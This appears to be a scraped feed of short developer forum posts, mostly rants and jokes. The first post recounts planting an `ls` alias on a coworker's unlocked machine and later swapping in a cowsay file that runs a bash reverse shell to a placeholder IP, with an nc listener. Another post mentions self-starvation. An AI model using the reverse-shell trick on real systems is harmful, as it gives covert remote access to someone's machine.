Me and my bug are having dinner date

Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉

I don't know why I keep using Postman. Maybe I'm a masochist or something.

I hate vscode so much and I miss atom

I hate all these features that creep in all the time and I have to do goddamned management to turn them off. this shouldn't be my job. stop cluttering my IDE

I fully expect to be roasted here, but I, for one, welcome our new vibe coding AI overlords.

I've never been good at coding for one major reason: I cannot commit to memory or manage to effectively use enormous sets of commands, principles, techniques, frameworks, etc., that are often required for this work. I've always been a huge source of frustration for team members who have that innate ability, in that I slow them down, make lots of mistakes, and generally don't know what I'm doing in the context of everything available to me to use. Especially in comparison to them. The only good ability I seem to have is picking through code others wrote, updating it, debugging it, and generally comparing it to best practices to either ask them to fix it or figure out a way to get it done myself. But it takes me a long time, and it's super frustrating.

"Vibe coding" has been world-changing for me in that regard. I know. It's not "pure coding". I know. It's "stealing our jobs". I know. "It's making us all dumb and dependent".

I don't care. I'm trading that for FINALLY being able to realize the vision of all the projects my right brain WANTED to do for so long, but that I never tried because I knew my limited left brain couldn't manage it. I knew the UI and the requirements, but I just couldn't get started. Or, if I got started, I couldn't figure out what to do next. I knew how to explain it, but it would take me many more hours than necessary to write the first working class and functions.

I'm in this to make money. I'll leave the "coding poetry" to the purists. I need an MVP, then a v1, then a v10+ as soon as I can possibly get them done, so then I can get the software to market before some other competitor.

If that makes me some kind of terrible person or shit coder who's "ruining everything" (really?), so be it. I'm due to retire in the next 5-7 years. If I can make that happen earlier with more sold software, all the better.

If you are using fcgiwrap and nginx, if you don't set the root directive, DOCUMENT_ROOT will default to /usr/share/nginx/html/.

In hindsight, it's obvious to me now that there was no way the script could have known the root I wanted without it, but it just didn't occur to me at the time.

I got a WordPress site's lighthouse score from 45 to 99. Feels good man.

My children will named after data structures

So tired of “minimal” distros. Give me a 40gb fat bitch that can open any file type, has every codec and every app, and that has everything set up for me. I’ll delete apps I don’t need, deleting is easier than installing anyway

turns out Battlestar Galactica was a meta documentary

Fuck typing 😖

why must everything be a cult =-=

one day, a solar flare will come in and erase everyone's banking records

and then what would the communists complain about?!

modern day Robinhood. erases all your debts, all tax information at the royalty office, the mortgage you owe on your house, and every rich person's balance

The shortest rant ever that doesn't need any explanation: XCODE

Tell me something you would say in 2065

Bogged down the entire office network because I mirrored Ubuntu Universe to my PC. Apparantly the downlink wasn't rate limited...

Once upon a Time

why are operating systems so beautiful 🤤

I accepted a nice offer by my current company.

Boss invited us to a nice dinner today for some planning and whatnot.

Was quite nice actually.

Definitely looking forward to the future atm...

OK then

What in the Anus?

Name a non-mainstream linux distro that doesn’t suck! genuine question! I even chose the “Question” tag!

And after almost 4 months of trying, I have uninstalled the vim motions plugin for VSCode.

They're ok. I just never, I guess, understood them well enough to actually get a boost in performance.

Back to slinging my mouse around the editor, like God intended!

Was having such a good time, until she mentioned her bf

what's the most fascinating book you've read?

I've been vibe coding not knowing that it was called that until yesterday. I always give up before I reach anything interesting because I get about 4 or 5 good responses before it starts forgetting things and breaking already working code. And it's not even that complex of an idea.

There is no way people are coming up with whole applications with any level of complexity with these things.

No more CRUD

If you have kids, I wish they will never get sick.

Starving myself to death, day who knows which. Horizontal lines appeared on my nails. I've read that vertical lines are kinda okay, but horizontal ones… Well, let's see how it goes

Interviewing with a company that brands itself as "AI-powered software development company".

Get sent code test and rules are no AI to help with code test.

I get it, but it's just so ironic...